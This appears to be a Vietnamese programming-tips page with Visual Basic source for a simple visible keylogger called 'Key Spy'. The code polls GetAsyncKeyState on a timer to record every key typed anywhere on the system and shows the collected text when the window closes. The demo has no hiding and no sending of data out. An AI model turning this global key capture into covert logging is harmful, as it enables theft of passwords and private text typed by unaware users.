Các chiêu thức trong lập trình Ghi lại tất cả những phím gõ tên bàn phím

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Xuất xứ : www.allapi.net
Binh khí sử dụng : Cần một cái Module
Đoạn mã :
Trong Module :
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal
hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT,
ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal
nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal
nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long)
As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As
Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt As Long, sSave As String, sOld As String, Ret As String
Dim Tel As Long
Function GetPressedKey() As String
For Cnt = 32 To 128
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)

Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal
uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub
Trong Form :
Private Sub Form_Load()
Me.Caption = "Key Spy"
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
End Sub
Private Sub Form_Paint()
Dim R As RECT
Const mStr = "Nao bat dau go di khi ban an dau X de thoat ban se
thay bat ngo thu vi day."
Me.Cls
Me.ScaleMode = vbPixels
SetRect R, 0, 0, Me.ScaleWidth, Me.ScaleHeight
DrawTextEx Me.hDC, mStr, Len(mStr), R, DT_WORDBREAK Or
DT_CENTER, ByVal 0&
End Sub
Private Sub Form_Resize()
Form_Paint
End Sub

Private Sub Form_Unload(Cancel As Integer)
KillTimer Me.hwnd, 0
MsgBox sSave
End Sub